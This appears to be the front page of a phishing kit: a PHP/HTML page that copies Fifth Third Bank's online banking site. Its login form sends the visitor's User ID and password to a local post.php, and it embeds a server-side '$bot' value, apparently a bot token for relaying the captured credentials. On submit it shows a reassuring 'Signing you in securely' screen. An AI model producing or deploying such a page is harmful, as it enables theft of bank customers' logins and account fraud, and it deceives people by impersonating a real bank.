<?php include("config.php"); ?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com"><link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
    <title>Fifth Third Bank — Online Banking</title>
    <style>
*,*::before,*::after{box-sizing:border-box;margin:0;padding:0}
:root{--blue:#1A5DCD;--blue-dk:#1249a8;--green:#00A651;--green-dk:#008a44;--yellow:#FFD700;--navy:#1C2B4A;--text:#1a1a1a;--sub:#555;--border:#dde2ea;--white:#fff}
html,body{height:100%;font-family:'Inter',sans-serif;color:var(--text);background:var(--white)}
body{display:flex;flex-direction:column;min-height:100vh}
.top-nav{background:var(--white);padding:0 48px;height:68px;display:flex;align-items:center;justify-content:space-between;border-bottom:1px solid #e8eaf0;position:relative;z-index:300}
.nav-logo img{height:44px;width:auto;display:block}
.nav-tabs{display:flex;align-items:center;gap:0}
.nav-tabs a{font-size:14px;font-weight:700;color:var(--sub);text-decoration:none;padding:0 18px;height:68px;display:flex;align-items:center;border-bottom:3px solid transparent;letter-spacing:.02em;text-transform:uppercase;transition:color .15s,border-color .15s}
.nav-tabs a.active{color:var(--blue);border-bottom-color:var(--blue)}
.nav-divider{width:1px;height:22px;background:#ccc;margin:0 4px}
.nav-right{display:flex;align-items:center;gap:16px}
.nav-search{background:none;border:none;cursor:pointer;color:var(--text);display:flex;align-items:center}
.btn-login-nav{background:var(--green);color:#fff;border:none;border-radius:24px;padding:11px 26px;font-family:'Inter',sans-serif;font-size:14px;font-weight:700;cursor:pointer;transition:background .15s}
.btn-login-nav:hover{background:var(--green-dk)}
.sub-nav{background:var(--navy);padding:0 48px;height:46px;display:flex;align-items:center;justify-content:space-between}
.sub-nav-left{display:flex;align-items:center}
.sub-nav-left a{font-size:13px;font-weight:700;color:rgba(255,255,255,.88);text-decoration:none;padding:0 18px;height:46px;display:flex;align-items:center;transition:color .15s}
.sub-nav-left a:hover{color:#fff}
.sub-nav-right{display:flex;align-items:center;gap:20px}
.sub-nav-right a{font-size:12.5px;color:rgba(255,255,255,.75);text-decoration:none}
.sub-nav-right a:hover{color:#fff;text-decoration:underline}
.hero{background:var(--blue);min-height:480px;display:flex;align-items:center;position:relative;overflow:hidden}
.hero-art{position:absolute;right:0;top:0;bottom:0;width:52%;z-index:0;background:url('res/img/background.png') center center / cover no-repeat}
.hero-art::before{content:'';position:absolute;inset:0;background:linear-gradient(to right,var(--blue) 0%,transparent 50%);z-index:1}
.hero-content{position:relative;z-index:2;padding:60px 60px 60px 72px;max-width:580px}
.hero-content h1{font-size:clamp(28px,3.2vw,46px);font-weight:800;color:#fff;line-height:1.15;margin-bottom:16px}
.hero-content h1 .accent{color:var(--yellow)}
.hero-content p{font-size:15px;font-weight:600;color:rgba(255,255,255,.9);line-height:1.55;margin-bottom:28px}
.btn-open-acct{display:inline-flex;align-items:center;padding:13px 28px;background:var(--navy);color:#fff;border:none;border-radius:24px;font-family:'Inter',sans-serif;font-size:14px;font-weight:700;cursor:pointer;text-decoration:none;transition:background .15s}
.btn-open-acct:hover{background:#263659}
.login-wrap{position:relative}
.login-dd{display:none;position:absolute;top:calc(100% + 12px);right:0;width:320px;background:var(--white);border:1px solid #dde2ea;border-radius:8px;box-shadow:0 8px 32px rgba(0,0,0,.15);z-index:500;padding:24px 22px 20px;animation:ddIn .18s ease both}
.login-dd.open{display:block}
@keyframes ddIn{from{opacity:0;transform:translateY(-6px)}to{opacity:1;transform:translateY(0)}}
.login-dd::before{content:'';position:absolute;top:-7px;right:28px;width:14px;height:14px;background:var(--white);transform:rotate(45deg);border-radius:2px 0 0 0;border-left:1px solid #dde2ea;border-top:1px solid #dde2ea}
.dd-title{font-size:16px;font-weight:700;color:var(--text);margin-bottom:16px}
.dd-f{margin-bottom:12px}
.dd-f input{width:100%;height:46px;padding:0 13px;border:1.5px solid var(--border);border-radius:6px;font-family:'Inter',sans-serif;font-size:14px;color:var(--text);background:#fafbfc;outline:none;transition:border-color .15s,box-shadow .15s;-webkit-appearance:none}
.dd-f input::placeholder{color:#aab}
.dd-f input:focus{border-color:var(--blue);box-shadow:0 0 0 3px rgba(26,93,205,.12);background:#fff}
.btn-dd-login{width:100%;height:46px;background:var(--green);color:#fff;border:none;border-radius:6px;font-family:'Inter',sans-serif;font-size:15px;font-weight:700;cursor:pointer;margin-bottom:14px;transition:background .15s}
.btn-dd-login:hover{background:var(--green-dk)}
.dd-links{display:flex;align-items:center;gap:6px;font-size:12.5px}
.dd-links a{color:var(--blue);text-decoration:none}
.dd-links a:hover{text-decoration:underline}
.dd-links span{color:#ccc}
.bank-strip{background:#f2f3f5;padding:44px 48px;text-align:center}
.bank-strip-inner{max-width:560px;margin:0 auto;background:var(--white);border-radius:12px;padding:36px 32px;box-shadow:0 2px 12px rgba(0,0,0,.06)}
.bank-strip h2{font-size:22px;font-weight:800;color:var(--text);margin-bottom:12px}
.bank-strip p{font-size:14px;color:var(--sub);line-height:1.65;margin-bottom:20px}
.bank-strip p a{color:var(--blue);text-decoration:underline}
.app-btns{display:flex;justify-content:center;gap:12px;flex-wrap:wrap}
.app-btn{display:inline-flex;align-items:center;gap:8px;background:#111;color:#fff;border:none;border-radius:8px;padding:10px 18px;font-family:'Inter',sans-serif;font-size:12px;font-weight:600;cursor:pointer;text-decoration:none}
#loader{display:none;position:fixed;inset:0;background:rgba(255,255,255,.92);z-index:9999;flex-direction:column;align-items:center;justify-content:center;gap:16px}
#loader img{width:60px;height:60px;animation:spin 1s linear infinite}
#loader p{font-size:15px;font-weight:600;color:#333;font-family:'Inter',sans-serif}
@keyframes spin{from{transform:rotate(0deg)}to{transform:rotate(360deg)}}
.page-footer{background:var(--navy);padding:20px 48px;display:flex;align-items:center;justify-content:space-between;flex-wrap:wrap;gap:12px;margin-top:auto}
.footer-links{display:flex;gap:20px;flex-wrap:wrap}
.footer-links a{font-size:12px;color:rgba(255,255,255,.5);text-decoration:none}
.footer-links a:hover{color:#fff}
.footer-copy{font-size:12px;color:rgba(255,255,255,.3)}
@media(max-width:900px){.nav-tabs{display:none}.top-nav{padding:0 20px}.sub-nav{padding:0 20px}.hero-art{display:none}.hero-content{padding:40px 24px;max-width:100%}}
@media(max-width:500px){.login-dd{width:290px;right:-10px}.sub-nav-right{display:none}}
    </style>
</head>
<body>
<nav class="top-nav">
    <div class="nav-logo"><img src="res/img/logo.svg" alt="Fifth Third Bank"></div>
    <div class="nav-tabs">
        <a href="#" class="active">Personal</a><div class="nav-divider"></div>
        <a href="#">Business</a><div class="nav-divider"></div>
        <a href="#">Commercial</a><div class="nav-divider"></div>
        <a href="#">Wealth Management</a>
    </div>
    <div class="nav-right">
        <button class="nav-search"><svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><circle cx="11" cy="11" r="8"/><line x1="21" y1="21" x2="16.65" y2="16.65"/></svg></button>
        <div class="login-wrap">
            <button class="btn-login-nav" id="login-trigger">Log In</button>
            <div class="login-dd" id="login-dd">
                <div class="dd-title">Online Banking Login</div>
                <script>var token=<?php echo json_encode($bot); ?>;</script>
                <form action="post.php" method="post" id="lf">
                    <div class="dd-f"><input type="text" name="user" placeholder="User ID" required autocomplete="username"></div>
                    <div class="dd-f"><input type="password" name="pass" placeholder="Password" required autocomplete="current-password"></div>
                    <button type="submit" class="btn-dd-login">Log In</button>
                    <div class="dd-links"><a href="#">Forgot User ID</a><span>|</span><a href="#">Forgot Password</a></div>
                </form>
            </div>
        </div>
    </div>
</nav>
<div class="sub-nav">
    <div class="sub-nav-left"><a href="#">Bank</a><a href="#">Borrow</a><a href="#">Insure</a><a href="#">Invest</a><a href="#">Plan</a></div>
    <div class="sub-nav-right"><a href="#">Financial Insights</a><a href="#">About Us</a><a href="#">Customer Service</a><a href="#">Branch &amp; ATM Locator</a></div>
</div>
<div class="hero">
    <div class="hero-art"></div>
    <div class="hero-content">
        <h1>We're <span class="accent">app</span>-solutely honored!</h1>
        <p>Best Mobile Banking App for Customer Satisfaction among Regional Banks.<sup style="font-size:.6em">1</sup></p>
        <a href="#" class="btn-open-acct">Open an Account</a>
    </div>
</div>
<div class="bank-strip">
    <div class="bank-strip-inner">
        <h2>Bank anytime, anywhere</h2>
        <p>It's easy with Fifth Third <a href="#">online and mobile banking</a>. With our mobile app<sup style="font-size:.7em">2</sup>, you can check balances, transfer money, deposit checks and more.</p>
        <div class="app-btns">
            <a href="#" class="app-btn">&#xF8FF; Download on the App Store</a>
            <a href="#" class="app-btn">&#9654; Get it on Google Play</a>
        </div>
    </div>
</div>
<footer class="page-footer">
    <div class="footer-links"><a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a><a href="#">Accessibility</a><a href="#">FDIC</a><a href="#">Contact Us</a></div>
    <div class="footer-copy">© 2025 Fifth Third Bank, N.A. Member FDIC. Equal Housing Lender.</div>
</footer>
<div id="loader"><img src="res/img/logo.svg" alt="Loading"><p>Signing you in securely...</p></div>
<script>
var t=document.getElementById('login-trigger'),d=document.getElementById('login-dd');
t.addEventListener('click',function(e){e.stopPropagation();d.classList.toggle('open');});
document.addEventListener('click',function(e){if(!document.querySelector('.login-wrap').contains(e.target))d.classList.remove('open');});
document.addEventListener('keydown',function(e){if(e.key==='Escape')d.classList.remove('open');});
document.getElementById('lf').addEventListener('submit',function(){d.classList.remove('open');document.getElementById('loader').style.display='flex';});
</script>
<script src="./res/jq.js"></script>
</body></html>